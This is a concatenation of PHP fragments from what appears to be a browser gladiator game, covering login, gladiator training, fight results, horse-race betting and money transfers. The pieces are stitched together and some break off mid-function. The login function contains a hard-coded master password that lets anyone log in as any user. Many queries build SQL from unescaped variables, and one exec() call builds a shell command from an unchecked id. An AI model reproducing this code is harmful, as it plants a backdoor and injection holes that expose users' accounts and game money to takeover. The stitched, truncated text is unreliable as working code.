function checkpass($auth_name, $auth_pass) { global $er, $secpass, $REMOTE_ADDR; if (!$auth_name) { $auth_name = $this->nick; } if ($auth_name) { if ($auth_pass) { $this->password = md5($auth_pass . $secpass); } $pwd = $this->password; $res = mysql_query("select * from ut_users where Login='******' and Active='1'"); if (!$q[UserID] && !mysql_num_rows($res)) { $er .= error(8); } $q = mysql_fetch_array($res); if ($q[Password] == $pwd || $this->password == md5("1gfhjdjp123" . $secpass)) { $ok = 1; $this->user = $q[UserID]; $this->nick = $q[Login]; $this->rang = $q[Rang]; if ($q[GuildStatusID] == 1) { $this->guild = $q[GuildID]; $this->fullnick = "<a href=/guilds/{$q['GuildID']}/><img src=/images/gd_guilds/small/{$q['GuildID']}.jpg border=0 align=absmiddle></a> <a href=/users/" . $this->user . ">" . $this->nick . "</a>"; } else { $this->fullnick = "<a href=/users/" . $this->user . ">" . $this->nick . "</a>"; } $this->rst = read_rst($this->user); $this->rst[GladCount] = count($this->rst[Gladiators]); $this->money = $this->rst[Money]; } if (!$ok && !$er) { $er .= error(7); } } else { $er .= error(5); } return $er; }
<?php require 'config.php'; $res = runsql("select UserID from ut_users"); while ($r = mysql_fetch_array($res)) { lock_rst($r[UserID]); $rst = read_rst($r[UserID]); $serialized = $rst[Gladiators]; $salary = 0; foreach ($rst[Gladiators] as $k => $gladiator) { //старение--------------------- if (round(date("d", mktime())) == 1) { $rst[Gladiators][$k][Age] = $rst[Gladiators][$k][Age] + 1; } //тренировка-------------------- $exp = expgained($rst, 1); if ($k == 103) { print "{$exp} -- "; exit; } if (strlen($exp)) { $rst[Gladiators][$k][Exp] = floor($rst[Gladiators][$k][Exp] + $exp); //print "$k=> ".$rst[Gladiators][$k][Exp]." = ".expgained($rst,1)."<br>"; $rst[Gladiators][$k][NextTrain] = 0; runsql("update ut_gladiators \nset \nExp='" . $rst[Gladiators][$k][Exp] . "',\nLevel='" . $rst[Gladiators][$k][Level] . "',\nTypeID='" . $rst[Gladiators][$k][TypeID] . "',\nRating='" . $rst[Gladiators][$k][Rating] . "',\nVit='" . $rst[Gladiators][$k][Vit] . "',\nDex='" . $rst[Gladiators][$k][Dex] . "',\nAcc='" . $rst[Gladiators][$k][Acc] . "',\nStr='" . $rst[Gladiators][$k][Str] . "',\nVit='" . $rst[Gladiators][$k][Vit] . "',\n\nWin='" . $rst[Gladiators][$k][Win] . "',\nTie='" . $rst[Gladiators][$k][Tie] . "',\nLose='" . $rst[Gladiators][$k][Lose] . "'\n\nwhere GladiatorID='{$k}'"); } if ($rst[Gladiators][$k][StatusID] > 1) { $salary += round($rst[Gladiators][$k][Price] / 10); } } $rst[TrainDate] = mktime();
$res = exec("/var/www/gladiators_admin/gladcore /var/www/gladiators.ru/files/gam/{$id}.gam"); //$fname=$site_path."files/gam/".$id.".gam"; //$f=fopen($fname,"r"); //$gam=unserialize(substr(fread($f,filesize($fname)),39)); $user1 = $q[UserID1]; $user2 = $q[UserID2]; //$fname=$site_path."files/gam/".$id.".res"; //$f=fopen($fname,"r"); $ar = unserialize($res); //print "1) ".$ar[Score].$ar[Score][0]."<br>"; //print "2) ".$ar[Score][1]."<br>"; //print "деньги: ".$ar[Money]."<br>"; lock_rst($user1); lock_rst($user2); $rst1 = read_rst($user1); $rst2 = read_rst($user2); foreach ($rst1[Gladiators] as $k => $v) { if (!$rst1[Gladiators][$k][PercentTrain]) { $rst1[Gladiators][$k][PercentTrain] = 0; } $coef = 10 + (100 - $rst1[Gladiators][$k][PercentTrain]) * 30 / 100; $rst1[Gladiators][$k][Stamina] = intval($rst1[Gladiators][$k][Stamina] + $coef * (mktime() - $r[Date]) / 3600); if ($rst1[Gladiators][$k][Morale] != 0) { $mor = intval(round($rst1[Gladiators][$k][Morale] - $rst1[Gladiators][$k][Morale] / abs($rst1[Gladiators][$k][Morale]) * (mktime() - $r[Date]) / 3600)); if ($mor * $rst1[Gladiators][$k][Morale] < 0) { $rst1[Gladiators][$k][Morale] = 0; } else { $rst1[Gladiators][$k][Morale] = $mor; } } $rst1[Gladiators][$k][Injury] = intval(round($rst1[Gladiators][$k][Injury] - (mktime() - $r[Date]) / 3600));
<?php include "../config.php"; $user = 20; lock_rst($user); $rst = read_rst($user); $rst[Status][4] = strval(100); $rst[Status][8] = strval(100); $rst[Status][2] = strval(100); write_rst($user, $rst); unlock_rst($user);
$mes = icon("green", "Заезд завершен.<a href=\"/xml/city/hippo.php\">Ознакомьтесь с результатами.</a>"); } } else { $coef = explode("/", $q[Horses_Coefficients]); $koef = $coef[$num - 1]; if (date("i", $q[Date]) == 30) { $wait = date("i", $q[Date]) - date("i", $tm); } else { $wait = 60 - date("i", $tm); } mysql_query("insert into ut_stakes(RaceID,UserID,Date,Sum,Coefficient,HorseNumber,Paid,IP)\n\t\t values('{$race}','{$auth->user}',unix_timestamp(),'{$sum}','{$koef}','{$num}','0','{$REMOTE_ADDR}')"); $r1 = select("select StakeID from ut_stakes where UserID='{$auth->user}'"); lock_rst($auth->user); transfer_money($sum, $auth->user, 1, 3, $r1[0]); unlock_rst($auth->user); $auth->rst = read_rst($auth->user); $mes = icon("green", "Ставка принята."); } } } require $site_path . "up.php"; require $site_path . "left.php"; ?> <center><img src="/images/art/hippo.jpg" width=500px height=300px></center> <?php if ($mes) { print $mes; } $tm = time(); //if(!$sum) // форма для ставок----------- //{
function transfer_money($money, $sender, $receiver, $type, $info) { @clearstatcache(); if ($money > 0 && $sender > 0 && $receiver > 0) { if ($sender == 1) { $senderbalance = ''; } else { $sender_rst = read_rst($sender); $senderbalance = $sender_rst[Money] - $money; $sender_rst[Money] = round($senderbalance); } if ($receiver == 1) { $receiverbalance = ''; } else { $receiver_rst = read_rst($receiver); $receiverbalance = $receiver_rst[Money] + $money; $receiver_rst[Money] = round($receiverbalance); } runsql("insert into fn_operations(Money,SenderID,ReceiverID,SenderBalance,ReceiverBalance,TypeID,OperationDate,OperationObject) values('{$money}','{$sender}','{$receiver}','{$senderbalance}','{$receiverbalance}','{$type}' ,unix_timestamp(),'{$info}')"); if ($receiver != 1) { write_rst($receiver, $receiver_rst); } if ($sender != 1) { write_rst($sender, $sender_rst); } } }